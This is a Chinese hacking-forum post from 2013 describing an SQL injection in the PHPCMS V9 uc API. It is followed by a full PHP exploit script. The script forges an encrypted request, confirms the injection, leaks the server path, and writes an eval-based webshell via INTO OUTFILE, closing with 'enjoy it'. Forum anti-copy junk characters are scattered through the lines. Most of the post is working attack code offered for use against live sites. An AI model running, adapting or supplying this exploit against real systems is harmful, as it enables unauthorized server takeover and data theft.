找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1950|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。9 `' X1 O1 B3 x1 ?

0 }* O- |4 o$ {' _+ \: z* ^所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
3 M  @! N+ |( z" |/ }7 G6 U  W3 Z8 K: Z" U
漏洞分析:! W5 {% ^+ |( e0 A" D
1.未启用ucenter服务的情况下uc_key为空3 i9 @8 p! n# M) X' i: w4 X$ Y
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
# v6 f4 x' t5 P3 j* U1 w2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。! Q2 [6 `5 o: X, h
    public function deleteuser($get,$post) {0 o; C. J3 u0 f# D
        pc_base::load_app_func('global', 'admin');
4 m$ M, \' }+ ^        pc_base::load_app_class('messagequeue', 'admin' , 0);3 H- J0 A% c, g
        $ids = new_stripslashes($get['ids']);
+ Y3 t0 d7 v5 n        $s = $this->member_db->select("ucuserid in ($ids)", "uid");) Y2 i/ i! Z" I2 W
SQL语句为6 H9 F5 e9 h- g( z0 X
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)6 D4 [6 l6 G; b, |3 c+ f& b* E
8 i: i8 e1 V& h% X, J2 U, f
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell+ K$ v: }0 F7 C, v) o
<?php
" k6 W* X8 m; iprint_r('
4 I3 [$ p. g5 ~; n& r# {6 U7 o---------------------------------------------------------------------------
. g& H0 D" t: V. \, O' x" i/ nPHPcms (v9 or Old Version) uc api sql injection 0day6 _; c0 n/ Y9 @' B4 }( u
by rayh4c#80sec.com7 [  \- ^+ w  R3 \0 N; H: j
---------------------------------------------------------------------------3 x/ j* X$ c1 h, T8 g: {
');
6 b) Z# @7 d/ |& L. L6 C& k1 v7 b2 W! q  v" c' x
if ($argc<3) {
3 c2 _0 b7 v; }5 _1 k% E    print_r('
" a2 j2 e  \, c5 h) k---------------------------------------------------------------------------
8 Y  y$ g" {6 e7 K; `, eUsage: php '.$argv[0].' host path OPTIONS
, v# P+ D2 K: S4 v7 B: p. ?' Chost:      target server (ip/hostname)( D; n% _( e. z4 U
path:      path to phpcms
: t$ w) }8 e7 d: t7 E4 l; O; KOptions:
2 [5 K7 {% u2 E1 \: H -p[port]:    specify a port other than 80
  k* ~+ ?! b* @3 v3 ` -P[ip:port]: specify a proxy6 |( S, ?! C2 O$ x( [0 e- l& L0 @
Example:0 Q3 o: a; c* P) @* i: s
php '.$argv[0].' localhost /
) E2 C! |2 f; a/ t8 _php '.$argv[0].' localhost /phpcms/ -p819 _% Q4 \: a% p' l2 q$ |; `
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
+ c. T( H! a1 ~5 Z. I0 R6 [---------------------------------------------------------------------------
8 W4 a1 ]$ {$ e0 M');2 v/ ^# a3 ^) b1 R9 n: w
    die;, a6 u. z. U# _2 q" W  Z( E
}
' O1 h& T. k: U  F  I, F
; N" D9 @2 d. F6 @! ~error_reporting(7);
9 V6 l# j" Y9 b$ _9 _  ~ini_set("max_execution_time",0);# I$ Y3 ^6 I: @1 V( `
ini_set("default_socket_timeout",5);
* d1 E2 v! E" C0 f% j% \1 K( J& X( V6 C! w$ ^; x3 {" _
function quick_dump($string)  l/ Z5 W7 K) _8 |, b/ o8 S# A5 B
{
, J- n+ t( _! X% V+ L( h  $result='';$exa='';$cont=0;
; c9 {" O  f1 e8 {2 B4 e  for ($i=0; $i<=strlen($string)-1; $i++); P: @) y, h' [! _" a. ^5 K# A
  {/ C+ h5 D' Z7 o! K: }% d
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
" A5 g# X# t  i  X( S' f   {$result.="  .";}& P5 ?! y9 ^  C! h2 [
   else
2 R$ y4 A, j+ o   {$result.="  ".$string[$i];}1 ~/ h8 M: ?1 \$ k
   if (strlen(dechex(ord($string[$i])))==2). T* z+ \0 b8 e
   {$exa.=" ".dechex(ord($string[$i]));}2 S0 o% i  V- O* j" r, f9 o
   else
2 R, q0 [- e  V# m: ?% X   {$exa.=" 0".dechex(ord($string[$i]));}; ^& P5 N& R1 w- E; r& q/ o
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}! u+ G" r2 |( C6 o% f5 W
  }
* I) B- _2 X" {& K* v  u$ v( z return $exa."\r\n".$result;2 c( d6 _. b) b) o. @) O0 l) O
}
4 s) w( G# d& X$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
4 r: G- Y6 ~# }
( W9 v* m$ C, ]6 ^# ^function send($packet)6 d! a) i$ q2 s+ I; W6 E
{) @( O5 x8 ^4 U$ t/ ^. ^$ m
  global $proxy, $host, $port, $html, $proxy_regex;
' N- H6 f* k, ~! n) W9 `; J: F! ^% Z  if ($proxy=='') {4 N  `6 ~' [( k/ d$ }
    $ock=fsockopen(gethostbyname($host),$port);
0 \) V+ ?  U8 k& b4 d" T    if (!$ock) {
0 Y! _9 f# G9 ?) p1 o      echo 'No response from '.$host.':'.$port; die;
- Y; R6 m8 q  N6 T3 {% @, _    }  C+ x5 M% p5 v, R; e4 E+ F$ v
  }" s) H  c. ~3 f# |
  else {
: D0 h1 o( Z" S9 h' B# z        $c = preg_match($proxy_regex,$proxy);- ^/ z" b0 ]6 s# E8 P) _
    if (!$c) {$ b; A% m5 B' h" R" G. L8 }
      echo 'Not a valid proxy...';die;
+ n* c; v. v- C" _7 N/ ?    }
5 N; p8 j$ S" v- t    $parts=explode(':',$proxy);
2 ~( W0 c% r3 y7 p    $parts[1]=(int)$parts[1];3 ^! B; Z) n. t/ X8 {- S
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
' o0 K7 h% c1 J1 _/ v& r$ g    $ock=fsockopen($parts[0],$parts[1]);
) B5 g) A5 x$ I1 Y- p    if (!$ock) {
6 R' H! |, V+ z/ t3 h      echo 'No response from proxy...';die;
' H3 F/ r6 Q6 r- ?  I        }! ~! g3 W8 f" t
  }
) ?4 ^5 o. Y9 v  w: U+ _2 {8 d" n" S  fputs($ock,$packet);: _' S* Q; r! W2 }6 t1 K
  if ($proxy=='') {
: p+ F9 q' [0 m' P. p5 l1 f    $html='';% W: @" `% r6 q8 W+ ^. _) o) I1 x
    while (!feof($ock)) {; o" d  r1 c5 ^- Q. d, `; ?
      $html.=fgets($ock);
# J* g* |2 R) X8 ^! d    }: T: e) d* j2 h0 O' e
  }
! n7 U5 e+ U& Y& m& G  else {
) M& k; s* C8 R; z/ I$ u    $html='';
9 Q0 r  l' H4 s" f& M4 Z    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
, z/ }1 p$ O- r3 _9 \      $html.=fread($ock,1);
6 ^7 O9 |5 S3 W3 P6 [+ N. W9 P    }
, e4 s; q: y* v, T' z  }, f' N. K  Q, P1 t) h
  fclose($ock);
) q" B$ O( ]7 o$ L3 R1 Q3 G}. o3 N5 _  [' O* k

2 N5 h. T, U% I4 h1 i8 e$ R2 o* `+ _$host=$argv[1];. Q- e& {5 t3 h1 l  N
$path=$argv[2];
2 t1 ?' a$ }3 ~- x# m0 ^$port=80;8 Q* I9 \7 L$ `) z( A9 S  R9 }
$proxy="";. k% c6 ?/ M' g- y" u
for ($i=3; $i<$argc; $i++){
) B5 ^  H/ U1 S# z0 x% p$temp=$argv[$i][0].$argv[$i][1];
; O0 M/ y9 u3 ~: ]if ($temp=="-p")- Q: o: s: r% `% a: [+ R
{
% v& e2 \' Q8 }, z  $port=(int)str_replace("-p","",$argv[$i]);
3 p1 c; j0 P" w3 G, `}
! [$ M& J; q9 n& gif ($temp=="-P")
9 B+ b. i5 v+ t  Z5 S$ W2 ^{
2 y, G2 V# R( A  $proxy=str_replace("-P","",$argv[$i]);
! B. i: r  u$ Z5 ?  W9 H}
/ x/ U4 n0 V/ i& G: D1 k}
/ _* c' P: F  h, g) J! f( L! X8 t! i) M3 _: @( C0 e
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}0 t  a/ N7 u% C: n( d# ^" B
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
* F, ]) X! s2 Z1 W8 j5 w+ D2 h& p) R- k6 H. F
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {6 n- x: m5 L3 Q0 Y

6 X) S! G% h% j# v    $ckey_length = 4;3 T6 u9 N7 Z/ L; d
4 u& ?, L8 S) J. `* c% F
    $key = md5($key ? $key : '');
! C9 {4 p) E7 D9 y  w    $keya = md5(substr($key, 0, 16));8 }  W. R$ X! h- w- K
    $keyb = md5(substr($key, 16, 16));
. \3 x; X) S  v7 b' F3 D    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
( l: E; }0 o; {5 A1 u9 ?7 Q4 e0 y# [# c0 p0 J' N
    $cryptkey = $keya.md5($keya.$keyc);
/ X8 q6 K% d2 R    $key_length = strlen($cryptkey);7 [2 {2 t& P" X6 ^" Y4 \. X
4 s- `+ a+ |0 N/ w8 {' z, A% Q; O) v
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;) o* ^7 D( v. v9 k& @/ A- ~
    $string_length = strlen($string);
7 a0 L% l+ j+ b. O1 U# I
. ?! U; v, `8 x1 _" @% b7 J5 w    $result = '';
1 s& e/ V! S1 ^1 k" |) Y* q  [    $box = range(0, 255);
7 U; {6 N5 l; F0 W" m: o
) q% B: ~7 T( o$ z% E    $rndkey = array();
: H$ x) i6 w& {+ R- s2 E    for($i = 0; $i <= 255; $i++) {: g5 U! F& E5 c' W
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);3 q2 h7 d# X: D4 o, i% v1 f
    }
6 Y& r% i# \0 ]7 O- e5 x1 q  X0 }; |
    for($j = $i = 0; $i < 256; $i++) {
' o/ Z. K. s: U. }0 x, T        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
: O+ x! p) l) T; K/ D        $tmp = $box[$i];
7 q. j# V* L3 H! w, Z        $box[$i] = $box[$j];8 L9 M1 a: m' e9 x( R2 J! ?
        $box[$j] = $tmp;: j& w: A+ a: v" X, d, n* d
    }6 U9 ~3 f$ y! H
3 p' T4 X% ^( N: K4 ?" i" b
    for($a = $j = $i = 0; $i < $string_length; $i++) {+ X3 |. I1 s/ K8 ]9 e0 m) M( J) z1 \
        $a = ($a + 1) % 256;, |8 M$ B& g! K1 C
        $j = ($j + $box[$a]) % 256;7 [/ j+ V/ {0 M% K6 _
        $tmp = $box[$a];4 C$ ?. ^) L. o* E/ v& W
        $box[$a] = $box[$j];& d' A9 a6 S" c: o
        $box[$j] = $tmp;5 P% V8 S+ J. d; ^; j) C  F2 R# U
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));+ V% a: F  p* F: t# ]5 C, |# C6 N
    }+ u4 F- k  g$ w- I" ~; b% P3 v2 W

# ]/ X' `1 z0 ]8 Z    if($operation == 'DECODE') {
* x: W* T% W  d6 ]        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
4 @2 _# M# A8 G% r5 Z) M! ~. U4 T  Q* y9 b            return substr($result, 26);0 j4 R' u8 u' _! v
        } else {
1 B$ ^2 C& d9 D' \            return '';4 M* Y6 s* n8 n3 P# w1 l
        }
# ?7 h$ I6 N2 Z9 p% Z    } else {
% x' O2 |0 d1 P1 r) z/ ]: }  e! @        return $keyc.str_replace('=', '', base64_encode($result));
5 ?! k. T# F  {% I$ `  u    }, U% w3 a! c' x, M
" M0 O2 m4 O* R+ s9 a0 ~0 @1 A9 I
}) z/ V( l& i! c

6 p/ |: T3 R4 U7 i1 Q) L, p$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";% c9 e1 [6 D& P* X% w1 ?8 q
$SQL = urlencode(authcode($SQL, "ENCODE", ""));6 r% B1 R# i; j' _! l2 ~( Z" M
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";% G- e3 [* k$ Q% I; @
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";. {8 ]4 l, I+ q$ ]- z0 o  I& v$ }
$packet.="User-Agent: Mozilla/5.0\r\n";
% ]! P3 V, p4 V! j3 u$packet.="Host: ".$host."\r\n";
2 Y7 |7 _9 n0 D; t, }9 L* ^) l+ C$packet.="Connection: Close\r\n\r\n";* g  r" g& E! W4 {
send($packet);
1 L* m' p3 a7 Eif(strpos($html,"MySQL Errno") > 0){5 Z$ t  Q% H1 r9 O2 M8 p! }' x
echo "[2] 发现存在SQL注入漏洞"."\n";0 q) f3 O4 U; |$ j
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
% D0 P& k" Q6 R' u8 I! p$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
( b$ Z3 N# }; G$packet.="User-Agent: Mozilla/5.0\r\n";
/ W( T, o0 c: I2 h$packet.="Host: ".$host."\r\n";
# v, d, u% Q! \% B/ C$packet.="Connection: Close\r\n\r\n";- ?0 {8 x1 _9 V+ M
send($packet);, V2 Y, O2 e4 l" e  M
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
8 U+ `: _- c' ]//print_r($matches);
9 @: Z) N9 V  i. H4 {if(!empty($matches)){
: Q  c, J6 i- ~6 q; z* ~  z: j, hecho "[4] 得到web路径 " . $matches[0]."\n";0 E& j- e+ j' B7 f
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
  Q7 F, f/ a5 M4 @; c0 a$SQL = "time=999999999999999999999999&ids=1)";8 w& U  T6 r0 L6 ~8 z. x& f
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
! ^: Q  Z( C5 P1 c3 ?- h1 {$SQL.="&action=deleteuser";# g1 P' Q- I7 O- g
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
+ }, j+ V+ |2 jecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
9 S, q1 t3 a; E; U) K$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
  c# k+ {2 j) d- u! P$packet.="User-Agent: Mozilla/5.0\r\n";: W! T" ]6 l+ u4 ]% L
$packet.="Host: ".$host."\r\n";+ I$ |' `/ X; M: ^2 ?' A4 S; q+ u
$packet.="Connection: Close\r\n\r\n";
! W' K6 u' k+ S3 n  f8 D0 I+ |send($packet);
3 Q7 o8 ^3 K( n  {% r) Tif(strpos($html,"Access denied") > 0){$ o8 z  x& o6 B* K) v- c/ K0 U
echo "[-] MYSQL权限过低 禁止写入文件 ";
3 j  T: j# d. q7 Z7 X, F5 Hdie;$ n: @& k2 L3 \
}
( }4 ^5 X: X1 R. m/ ^7 r4 F6 lecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";1 S6 t1 n2 P! ?0 N+ o- t5 z
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
# E+ U' |& y0 |* e$ H; G$packet.="User-Agent: Mozilla/5.0\r\n";
6 Y# D0 X* h0 G+ l5 N6 z- Q$packet.="Host: ".$host."\r\n";2 U; q) ?' B) L; a6 M
$packet.="Connection: Close\r\n\r\n";: L: d( X. ^% K
send($packet);" m( S/ L% ^7 ?$ ]. F1 |/ D
if(strpos($html,"<title>phpinfo()</title>") > 0){" n, l0 e% C3 x5 U- M; m* F  ]) m
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
. B2 J  I: J4 A1 O6 M8 r3 }}
& r1 L3 e$ l. H! n& s8 ?}else{2 {- C( k6 c: ?
echo "[-]未取到web路径 ";3 F9 l% m0 T! n4 s7 F4 K
}7 S/ W" P/ f+ b2 H: w
}else{0 K2 |* q1 [5 E8 @: W0 v
echo "[*]不存在SQL注入漏洞"."\n";& [5 b% M' j- M; M# r
}& X1 l/ l  \0 M: _3 x' \
+ R9 L. r# R% Q+ B$ x
?>
" X3 y( g- v: P  A! x* J" J% \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表